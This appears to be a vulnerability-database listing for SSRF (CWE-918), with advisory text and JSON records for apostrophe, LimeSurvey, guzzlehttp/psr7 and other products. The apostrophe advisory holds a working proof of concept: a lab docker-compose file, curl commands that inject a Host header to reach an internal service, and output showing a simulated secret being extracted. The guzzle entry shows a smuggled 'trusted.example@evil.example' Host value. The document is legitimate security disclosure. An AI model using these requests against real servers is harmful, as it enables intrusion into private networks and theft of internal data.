Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4863 vulnerabilities reference this CWE, most recent first.

GHSA-34PJ-2622-JVXQ

Vulnerability from github – Published: 2026-07-31 21:51 – Updated: 2026-07-31 21:51
VLAI
Summary
@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header
Details

Summary

When prettyUrls: true is enabled on @apostrophecms/file (a documented SEO feature for serving uploaded files at clean URLs), the public pretty-URL handler builds the upstream URL using the raw Host HTTP request header:

proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`

That URL is then fetch'ed and the response body + headers are streamed straight back to the requester. Because Host is fully attacker-controlled, an unauthenticated remote attacker can pivot the apostrophe process to issue outbound HTTP requests against any host it can reach on the private network. The path component is constrained to /uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup), which keeps the impact narrow: cross-instance data exfiltration is neutralised by cuid uniqueness, but blind-SSRF residuals remain (network-topology mapping via response-code / timing differences and verbose proxy/WAF 404 body disclosure). Verified on apostrophe@4.30.0 (latest); no fixed release exists.

  • Affected: apostrophe <= 4.30.0 when @apostrophecms/file is configured with prettyUrls: true and uploadfs is local (the default; S3/CDN deployments produce an absolute uglyUrl and are not affected).

Details

modules/@apostrophecms/file/index.js (excerpt; the public GET route registered when prettyUrls: true):

if (!self.options.prettyUrls) return;
return {
  get: {
    async [`${self.options.prettyUrlDir}/*`](req, res) {
      const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/);
      if (!matches) return res.status(400).send('invalid');
      const [ , slug ] = matches;
      if (slug.includes('..') || slug.includes('/')) {
        return res.status(403).send('forbidden');
      }
      const file = await self.find(req, {
        slug: `${self.options.slugPrefix}${slug}`
      }).toObject();
      if (!file) return res.status(404).send('not found');

      const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });
      const proxyUrl = uglyUrl.startsWith('/')
        ? `${req.protocol}://${req.get('host')}${uglyUrl}`   // <-- sink
        : uglyUrl;
      return await streamProxy(req, proxyUrl, { error: self.apos.util.error });
    }
  }
};

lib/stream-proxy.js (excerpt):

module.exports = async function(req, url, { error }) {
  const res = req.res;
  if (url.startsWith('/')) url = `${req.baseUrl}${url}`;
  let response;
  try { response = await fetch(url); }       // <-- attacker-steered fetch
  catch (e) { return send502(e); }
  for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {
    const v = response.headers.get(header);
    if (v != null) res.header(header, v);
  }
  res.status(response.status);
  response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));
};

req.get('host') returns the unvalidated Host HTTP header from the request. Express does not validate or restrict it, and apostrophe does not check the constructed proxyUrl against an allowlist. The upstream's body and content-type are forwarded verbatim — so any response the targeted host does return at the constrained path will reach the attacker. In practice the path constraint (/uploads/attachments/<cuid>-<slug>.<ext>) and cuid uniqueness mean meaningful body exfiltration only occurs against verbose-404 / banner- leaky proxies; against most internal services this degenerates to blind SSRF (response-code + timing side channels).

Prerequisites are minimal: prettyUrls: true (a documented production SEO option) + at least one file uploaded with a known slug. Slugs are publicly enumerable in normal CMS use (file URLs appear in page content).

Distinct from the only published apostrophe SSRF advisory, GHSA-pr28-mf3q-qpg6 ("Authenticated SSRF in rich-text widget import via @apostrophecms/area validate-widget"), which is authenticated and lives in a completely different module/route. This finding is unauthenticated, in @apostrophecms/file, via the Host header.

PoC

Three services on an isolated Docker network: mongo, internal (returns a fake secret, never exposed to the host), apos:3000 (the only port the host can reach). The host attacker proves it cannot reach internal directly, then exfiltrates internal's response via one crafted request to apos.

app.js (normal apostrophe site, documented option only):

require('apostrophe')({
  shortName: 'apos-ssrf-poc',
  autoBuild: false,
  modules: {
    '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },
    '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },
    '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },
    '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },
    'poc-seed': {}   // seeds one file doc on boot (= what an admin does via the upload UI)
  }
});

docker-compose.yml:

services:
  mongo: { image: mongo:7, networks: [poc] }
  internal:
    image: python:3.12-slim
    command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n        self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"]
    networks: [poc]
  apos:
    build: .
    environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }
    depends_on: [mongo, internal]
    ports: ["3000:3000"]
    networks: [poc]
networks: { poc: { driver: bridge } }

exploit.sh (unauthenticated attacker on the host):

# 1. Prove the internal target is not reachable from the host
curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)"

# 2. ATTACK: same pretty URL, attacker-supplied Host header
curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf"

Build & run:

docker compose build && docker compose up -d && ./exploit.sh

Observed output (apostrophe@4.30.0, clean stack):

[probe] confirm the internal target is NOT reachable from the host:
curl: (6) Could not resolve host: internal
[normal] same pretty URL, normal Host header (Host: apos):
HTTP=502 bytes=49 content-type=text/html; charset=utf-8
upstream media error fetching data for pretty URL

[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:
HTTP=200 bytes=64 content-type=text/plain; charset=utf-8
[ATTACK] response body received by the attacker:
INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2

RESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).

The internal service is unreachable from the host, but apostrophe fetches it on the attacker's behalf and pipes the response body — secret included — straight back over the same HTTP response.

Impact

Unauthenticated remote SSRF, but the path component is constrained to /uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup on a slug the attacker already had to know). That constraint plus cuid uniqueness rules out the cases I originally listed:

  • Cloud metadata is not reachable — AWS IMDS (/latest/meta-data/...), GCP (/computeMetadata/v1/...), and Azure (/metadata/...) all live at fixed paths that don't overlap with /uploads/attachments/.... Same for Redis admin, Elasticsearch, and most internal API surfaces.
  • Cross-instance data exfiltration is also ruled out. For an internal target (another apos instance, MinIO bucket, etc.) to serve a body at this path, it would need the exact local cuid + slug, which realistically only happens when the target restored / shares the public site's data — in which case the same content is reachable via the front door anyway. Apostrophe also won't construct a pretty URL for archived / restricted media, closing the older-snapshot edge case.

What remains is blind-SSRF residual:

  • Network-topology mapping via response-code or response-time differences across internal hosts.
  • Banner / version disclosure from verbose reverse-proxy or WAF 404 bodies.
  • Bypassing network egress controls — outbound requests originate from the apostrophe server rather than the attacker.

The attack requires only the public pretty-URL endpoint and one publicly-known file slug, both trivially available in normal CMS operation.

Recommended fix

Stop deriving the upstream URL from the request Host header. Two complementary changes:

  1. In modules/@apostrophecms/file/index.js (the lines that build proxyUrl), use a server-trusted absolute base URL (e.g., apos.baseUrl or the configured site URL) instead of req.get('host'):

js const proxyUrl = uglyUrl.startsWith('/') ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}` : uglyUrl;

  1. In lib/stream-proxy.js, enforce a strict origin allowlist (the configured apostrophe base URL + any configured CDN host) before calling fetch. Defence in depth: future callers of streamProxy cannot accidentally reintroduce the gap.

A regression test that sets Host: 169.254.169.254 (or any non-configured host) on /files/<slug>.<ext> and asserts the upstream fetch is not issued / the response is a 4xx would lock this down.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.30.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53607"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T21:51:41Z",
    "nvd_published_at": "2026-06-12T21:16:24Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nWhen `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO\nfeature for serving uploaded files at clean URLs), the public pretty-URL\nhandler builds the upstream URL using the raw `Host` HTTP request header:\n\n```js\nproxyUrl = `${req.protocol}://${req.get(\u0027host\u0027)}${uglyUrl}`\n```\n\nThat URL is then `fetch`\u0027ed and the response body + headers are streamed\nstraight back to the requester. Because `Host` is fully attacker-controlled,\nan **unauthenticated remote** attacker can pivot the apostrophe process to\nissue outbound HTTP requests against any host it can reach on the private\nnetwork. The path component is constrained to\n`/uploads/attachments/\u003ccuid\u003e-\u003cslug\u003e.\u003cext\u003e` (built from a local-DB lookup),\nwhich keeps the impact narrow: cross-instance data exfiltration is\nneutralised by cuid uniqueness, but blind-SSRF residuals remain\n(network-topology mapping via response-code / timing differences and\nverbose proxy/WAF 404 body disclosure). Verified on `apostrophe@4.30.0`\n(latest); no fixed release exists.\n\n- **Affected:** `apostrophe \u003c= 4.30.0` when `@apostrophecms/file` is\n  configured with `prettyUrls: true` and uploadfs is **local** (the default;\n  S3/CDN deployments produce an absolute `uglyUrl` and are not affected).\n\n### Details\n\n`modules/@apostrophecms/file/index.js` (excerpt; the public GET route\nregistered when `prettyUrls: true`):\n\n```js\nif (!self.options.prettyUrls) return;\nreturn {\n  get: {\n    async [`${self.options.prettyUrlDir}/*`](req, res) {\n      const matches = (req.params[0] || \u0027\u0027).match(/^([^.]+)\\.\\w+$/);\n      if (!matches) return res.status(400).send(\u0027invalid\u0027);\n      const [ , slug ] = matches;\n      if (slug.includes(\u0027..\u0027) || slug.includes(\u0027/\u0027)) {\n        return res.status(403).send(\u0027forbidden\u0027);\n      }\n      const file = await self.find(req, {\n        slug: `${self.options.slugPrefix}${slug}`\n      }).toObject();\n      if (!file) return res.status(404).send(\u0027not found\u0027);\n\n      const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });\n      const proxyUrl = uglyUrl.startsWith(\u0027/\u0027)\n        ? `${req.protocol}://${req.get(\u0027host\u0027)}${uglyUrl}`   // \u003c-- sink\n        : uglyUrl;\n      return await streamProxy(req, proxyUrl, { error: self.apos.util.error });\n    }\n  }\n};\n```\n\n`lib/stream-proxy.js` (excerpt):\n\n```js\nmodule.exports = async function(req, url, { error }) {\n  const res = req.res;\n  if (url.startsWith(\u0027/\u0027)) url = `${req.baseUrl}${url}`;\n  let response;\n  try { response = await fetch(url); }       // \u003c-- attacker-steered fetch\n  catch (e) { return send502(e); }\n  for (const header of [\u0027content-type\u0027,\u0027etag\u0027,\u0027last-modified\u0027,\u0027content-disposition\u0027,\u0027cache-control\u0027]) {\n    const v = response.headers.get(header);\n    if (v != null) res.header(header, v);\n  }\n  res.status(response.status);\n  response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));\n};\n```\n\n`req.get(\u0027host\u0027)` returns the unvalidated `Host` HTTP header from the request.\nExpress does not validate or restrict it, and apostrophe does not check the\nconstructed `proxyUrl` against an allowlist. The upstream\u0027s body and\ncontent-type are forwarded verbatim \u2014 so any response the targeted host does\nreturn at the constrained path will reach the attacker. In practice the path\nconstraint (`/uploads/attachments/\u003ccuid\u003e-\u003cslug\u003e.\u003cext\u003e`) and cuid uniqueness\nmean meaningful body exfiltration only occurs against verbose-404 / banner-\nleaky proxies; against most internal services this degenerates to blind\nSSRF (response-code + timing side channels).\n\nPrerequisites are minimal: `prettyUrls: true` (a documented production SEO\noption) + at least one file uploaded with a known slug. Slugs are publicly\nenumerable in normal CMS use (file URLs appear in page content).\n\n**Distinct from the only published apostrophe SSRF advisory,\nGHSA-pr28-mf3q-qpg6** (\"Authenticated SSRF in rich-text widget import via\n@apostrophecms/area validate-widget\"), which is authenticated and lives in a\ncompletely different module/route. This finding is unauthenticated, in\n`@apostrophecms/file`, via the `Host` header.\n\n### PoC\n\nThree services on an isolated Docker network: `mongo`, `internal` (returns a\nfake secret, **never exposed to the host**), `apos:3000` (the only port the\nhost can reach). The host attacker proves it cannot reach `internal`\ndirectly, then exfiltrates `internal`\u0027s response via one crafted request to\n`apos`.\n\n`app.js` (normal apostrophe site, documented option only):\n\n```js\nrequire(\u0027apostrophe\u0027)({\n  shortName: \u0027apos-ssrf-poc\u0027,\n  autoBuild: false,\n  modules: {\n    \u0027@apostrophecms/express\u0027: { options: { session: { secret: \u0027x\u0027 }, port: 3000 } },\n    \u0027@apostrophecms/db\u0027: { options: { uri: process.env.APOS_MONGODB_URI } },\n    \u0027@apostrophecms/asset\u0027: { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },\n    \u0027@apostrophecms/file\u0027: { options: { prettyUrls: true, prettyUrlDir: \u0027/files\u0027 } },\n    \u0027poc-seed\u0027: {}   // seeds one file doc on boot (= what an admin does via the upload UI)\n  }\n});\n```\n\n`docker-compose.yml`:\n\n```yaml\nservices:\n  mongo: { image: mongo:7, networks: [poc] }\n  internal:\n    image: python:3.12-slim\n    command: [\"python\",\"-c\",\"import http.server,socketserver\\nclass H(http.server.BaseHTTPRequestHandler):\\n    def do_GET(self):\\n        self.send_response(200);self.send_header(\u0027content-type\u0027,\u0027text/plain\u0027);self.end_headers()\\n        self.wfile.write(b\u0027INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\\\n\u0027)\\nsocketserver.TCPServer((\u00270.0.0.0\u0027,80),H).serve_forever()\"]\n    networks: [poc]\n  apos:\n    build: .\n    environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }\n    depends_on: [mongo, internal]\n    ports: [\"3000:3000\"]\n    networks: [poc]\nnetworks: { poc: { driver: bridge } }\n```\n\n`exploit.sh` (unauthenticated attacker on the host):\n\n```sh\n# 1. Prove the internal target is not reachable from the host\ncurl --max-time 2 -s http://internal/ || echo \"(unreachable, as expected)\"\n\n# 2. ATTACK: same pretty URL, attacker-supplied Host header\ncurl -sS -H \u0027Host: internal\u0027 \"http://127.0.0.1:3000/files/poc.pdf\"\n```\n\nBuild \u0026 run:\n\n```sh\ndocker compose build \u0026\u0026 docker compose up -d \u0026\u0026 ./exploit.sh\n```\n\nObserved output (`apostrophe@4.30.0`, clean stack):\n\n```\n[probe] confirm the internal target is NOT reachable from the host:\ncurl: (6) Could not resolve host: internal\n[normal] same pretty URL, normal Host header (Host: apos):\nHTTP=502 bytes=49 content-type=text/html; charset=utf-8\nupstream media error fetching data for pretty URL\n\n[ATTACK] pretty URL with attacker-supplied Host header pointing at the private \u0027internal\u0027 service:\nHTTP=200 bytes=64 content-type=text/plain; charset=utf-8\n[ATTACK] response body received by the attacker:\nINTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\n\nRESULT: VULNERABLE \u2014 unauthenticated attacker exfiltrated private internal data via apostrophe\u0027s @apostrophecms/file pretty-URL SSRF (Host-header injection).\n```\n\nThe `internal` service is unreachable from the host, but apostrophe fetches\nit on the attacker\u0027s behalf and pipes the response body \u2014 secret included \u2014\nstraight back over the same HTTP response.\n\n### Impact\n\nUnauthenticated remote SSRF, but the path component is constrained to\n`/uploads/attachments/\u003ccuid\u003e-\u003cslug\u003e.\u003cext\u003e` (built from a local-DB lookup\non a slug the attacker already had to know). That constraint plus cuid\nuniqueness rules out the cases I originally listed:\n\n- **Cloud metadata is _not_ reachable** \u2014 AWS IMDS\n  (`/latest/meta-data/...`), GCP (`/computeMetadata/v1/...`), and Azure\n  (`/metadata/...`) all live at fixed paths that don\u0027t overlap with\n  `/uploads/attachments/...`. Same for Redis admin, Elasticsearch, and\n  most internal API surfaces.\n- **Cross-instance data exfiltration is also ruled out.** For an\n  internal target (another apos instance, MinIO bucket, etc.) to serve\n  a body at this path, it would need the exact local cuid + slug, which\n  realistically only happens when the target restored / shares the\n  public site\u0027s data \u2014 in which case the same content is reachable via\n  the front door anyway. Apostrophe also won\u0027t construct a pretty URL\n  for archived / restricted media, closing the older-snapshot edge case.\n\nWhat remains is blind-SSRF residual:\n\n- Network-topology mapping via response-code or response-time\n  differences across internal hosts.\n- Banner / version disclosure from verbose reverse-proxy or WAF 404\n  bodies.\n- Bypassing network egress controls \u2014 outbound requests originate from\n  the apostrophe server rather than the attacker.\n\nThe attack requires only the public pretty-URL endpoint and one\npublicly-known file slug, both trivially available in normal CMS\noperation.\n\n### Recommended fix\n\nStop deriving the upstream URL from the request `Host` header. Two\ncomplementary changes:\n\n1. In `modules/@apostrophecms/file/index.js` (the lines that build\n   `proxyUrl`), use a server-trusted absolute base URL (e.g., `apos.baseUrl`\n   or the configured site URL) instead of `req.get(\u0027host\u0027)`:\n\n   ```js\n   const proxyUrl = uglyUrl.startsWith(\u0027/\u0027)\n     ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}`\n     : uglyUrl;\n   ```\n\n2. In `lib/stream-proxy.js`, enforce a strict origin allowlist (the\n   configured apostrophe base URL + any configured CDN host) before calling\n   `fetch`. Defence in depth: future callers of `streamProxy` cannot\n   accidentally reintroduce the gap.\n\nA regression test that sets `Host: 169.254.169.254` (or any non-configured\nhost) on `/files/\u003cslug\u003e.\u003cext\u003e` and asserts the upstream `fetch` is **not**\nissued / the response is a 4xx would lock this down.",
  "id": "GHSA-34pj-2622-jvxq",
  "modified": "2026-07-31T21:51:41Z",
  "published": "2026-07-31T21:51:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-34pj-2622-jvxq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53607"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/pull/5464"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header"
}

GHSA-34QP-WV4H-827H

Vulnerability from github – Published: 2026-07-20 21:31 – Updated: 2026-07-20 21:31
VLAI
Details

LimeSurvey through 6.17.10 and 7.0.4 contains a server-side request forgery vulnerability in the REST API survey template endpoint that allows authenticated users to cause the server to issue arbitrary HTTP requests by supplying a manipulated Host header. Attackers can exploit the unsanitized use of the HTTP Host header in the getTemplateData() function to reach internal network services, cloud metadata endpoints, and extract sensitive credentials such as IAM tokens from instance metadata services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-63107"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-20T19:17:28Z",
    "severity": "MODERATE"
  },
  "details": "LimeSurvey through 6.17.10 and 7.0.4 contains a server-side request forgery vulnerability in the REST API survey template endpoint that allows authenticated users to cause the server to issue arbitrary HTTP requests by supplying a manipulated Host header. Attackers can exploit the unsanitized use of the HTTP Host header in the getTemplateData() function to reach internal network services, cloud metadata endpoints, and extract sensitive credentials such as IAM tokens from instance metadata services.",
  "id": "GHSA-34qp-wv4h-827h",
  "modified": "2026-07-20T21:31:48Z",
  "published": "2026-07-20T21:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63107"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geo-chen/oss/blob/main/limesurvey.md"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/limesurvey-ssrf-via-rest-api-survey-template-host-header"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-34R6-XM35-5VCX

Vulnerability from github – Published: 2022-05-24 17:05 – Updated: 2024-04-04 02:45
VLAI
Details

LuquidPixels LiquiFire OS 4.8.0 allows SSRF via the call%3Durl substring followed by a URL in square brackets.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-20055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-29T05:15:00Z",
    "severity": "MODERATE"
  },
  "details": "LuquidPixels LiquiFire OS 4.8.0 allows SSRF via the call%3Durl substring followed by a URL in square brackets.",
  "id": "GHSA-34r6-xm35-5vcx",
  "modified": "2024-04-04T02:45:49Z",
  "published": "2022-05-24T17:05:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20055"
    },
    {
      "type": "WEB",
      "url": "https://code610.blogspot.com/2019/12/testing-ssrf-in-liquifireos.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-34W8-JP4P-57MJ

Vulnerability from github – Published: 2022-05-14 02:59 – Updated: 2022-05-14 02:59
VLAI
Details

Adobe Experience Manager versions 6.4 and earlier have a Server-Side Request Forgery vulnerability. Successful exploitation could lead to sensitive information disclosure.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-12809"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-20T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "Adobe Experience Manager versions 6.4 and earlier have a Server-Side Request Forgery vulnerability. Successful exploitation could lead to sensitive information disclosure.",
  "id": "GHSA-34w8-jp4p-57mj",
  "modified": "2022-05-14T02:59:17Z",
  "published": "2022-05-14T02:59:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12809"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104702"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-34XG-WGJX-8XPH

Vulnerability from github – Published: 2026-06-11 13:04 – Updated: 2026-07-15 21:58
VLAI
Summary
guzzlehttp/psr7 has Host Confusion via Authority Reinterpretation
Details

Impact

guzzlehttp/psr7 improperly interpreted malformed Host header values when constructing request URIs from inbound request data. This issue concerns inbound request parsing and server request construction. It does not require serializing a PSR-7 request, and it is not part of the normal outbound request-sending path used by guzzlehttp/guzzle.

A vulnerable flow is:

  1. An attacker controls a raw HTTP request or server variable containing a Host value.
  2. The Host value contains URI authority delimiters, such as trusted.example@evil.example.
  3. guzzlehttp/psr7 uses that value to construct a URI.
  4. The URI parser treats the portion before @ as userinfo and the portion after @ as the URI host.
  5. The resulting PSR-7 request URI host differs from the original Host header value.

For example, Host: trusted.example@evil.example can result in a PSR-7 URI whose host is evil.example, while the original Host header value remains trusted.example@evil.example.

Applications are affected if they parse attacker-controlled raw HTTP requests with GuzzleHttp\Psr7\Message::parseRequest() or the legacy 1.x GuzzleHttp\Psr7\parse_request() function, or if they build server requests from attacker-controlled server variables with GuzzleHttp\Psr7\ServerRequest::fromGlobals() or GuzzleHttp\Psr7\ServerRequest::getUriFromGlobals(), and then rely on the resulting URI host for routing, allow-list checks, credential selection, or forwarding decisions. Applications using guzzlehttp/psr7 only through Guzzle's standard HTTP client APIs are not expected to be affected. In affected forwarding or gateway scenarios, this may cause requests or credentials to be sent to an unintended host.

Patches

The issue is patched in 2.10.2 and later. 1.x is end-of-life and will not receive a patch.

Workarounds

If you cannot upgrade immediately, validate Host values before passing untrusted request data to Message::parseRequest(), legacy 1.x parse_request(), ServerRequest::fromGlobals(), or ServerRequest::getUriFromGlobals().

Accept only uri-host [ ":" port ]. Reject values containing whitespace, control characters, userinfo (@), path (/ or \), query (?), fragment (#), malformed IP literals or bracket syntax, or invalid port syntax.

Do not validate Host by prefixing it with http:// and passing it to parse_url(), because that can reinterpret malformed values as URI userinfo and host.

References

  • https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2
  • https://www.rfc-editor.org/rfc/rfc9112.html#section-3.3
  • https://www.rfc-editor.org/rfc/rfc9110.html#section-4.2.4
  • https://www.rfc-editor.org/rfc/rfc9110.html#section-7.2
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "guzzlehttp/psr7"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-11T13:04:53Z",
    "nvd_published_at": "2026-06-11T13:16:33Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\n`guzzlehttp/psr7` improperly interpreted malformed `Host` header values when constructing request URIs from inbound request data. This issue concerns inbound request parsing and server request construction. It does not require serializing a PSR-7 request, and it is not part of the normal outbound request-sending path used by `guzzlehttp/guzzle`.\n\nA vulnerable flow is:\n\n1. An attacker controls a raw HTTP request or server variable containing a `Host` value.\n2. The `Host` value contains URI authority delimiters, such as `trusted.example@evil.example`.\n3. `guzzlehttp/psr7` uses that value to construct a URI.\n4. The URI parser treats the portion before `@` as userinfo and the portion after `@` as the URI host.\n5. The resulting PSR-7 request URI host differs from the original `Host` header value.\n\nFor example, `Host: trusted.example@evil.example` can result in a PSR-7 URI whose host is `evil.example`, while the original Host header value remains `trusted.example@evil.example`.\n\nApplications are affected if they parse attacker-controlled raw HTTP requests with `GuzzleHttp\\Psr7\\Message::parseRequest()` or the legacy 1.x `GuzzleHttp\\Psr7\\parse_request()` function, or if they build server requests from attacker-controlled server variables with `GuzzleHttp\\Psr7\\ServerRequest::fromGlobals()` or `GuzzleHttp\\Psr7\\ServerRequest::getUriFromGlobals()`, and then rely on the resulting URI host for routing, allow-list checks, credential selection, or forwarding decisions. Applications using `guzzlehttp/psr7` only through Guzzle\u0027s standard HTTP client APIs are not expected to be affected. In affected forwarding or gateway scenarios, this may cause requests or credentials to be sent to an unintended host.\n\n## Patches\n\nThe issue is patched in `2.10.2` and later. `1.x` is end-of-life and will not receive a patch.\n\n## Workarounds\n\nIf you cannot upgrade immediately, validate Host values before passing untrusted request data to `Message::parseRequest()`, legacy 1.x `parse_request()`, `ServerRequest::fromGlobals()`, or `ServerRequest::getUriFromGlobals()`.\n\nAccept only `uri-host [ \":\" port ]`. Reject values containing whitespace, control characters, userinfo (`@`), path (`/` or `\\`), query (`?`), fragment (`#`), malformed IP literals or bracket syntax, or invalid port syntax.\n\nDo not validate Host by prefixing it with `http://` and passing it to `parse_url()`, because that can reinterpret malformed values as URI userinfo and host.\n\n## References\n\n* https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2\n* https://www.rfc-editor.org/rfc/rfc9112.html#section-3.3\n* https://www.rfc-editor.org/rfc/rfc9110.html#section-4.2.4\n* https://www.rfc-editor.org/rfc/rfc9110.html#section-7.2",
  "id": "GHSA-34xg-wgjx-8xph",
  "modified": "2026-07-15T21:58:09Z",
  "published": "2026-06-11T13:04:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/psr7/security/advisories/GHSA-34xg-wgjx-8xph"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48998"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/guzzlehttp/psr7/CVE-2026-48998.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/guzzle/psr7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "guzzlehttp/psr7 has Host Confusion via Authority Reinterpretation"
}

GHSA-3537-379X-X582

Vulnerability from github – Published: 2024-03-21 03:36 – Updated: 2024-11-08 00:30
VLAI
Details

Server Side Request Forgery (SSRF) vulnerability in Likeshop before 2.5.7 allows attackers to view sensitive information via the avatar parameter in function UserLogic::updateWechatInfo.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-24028"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-21T02:52:09Z",
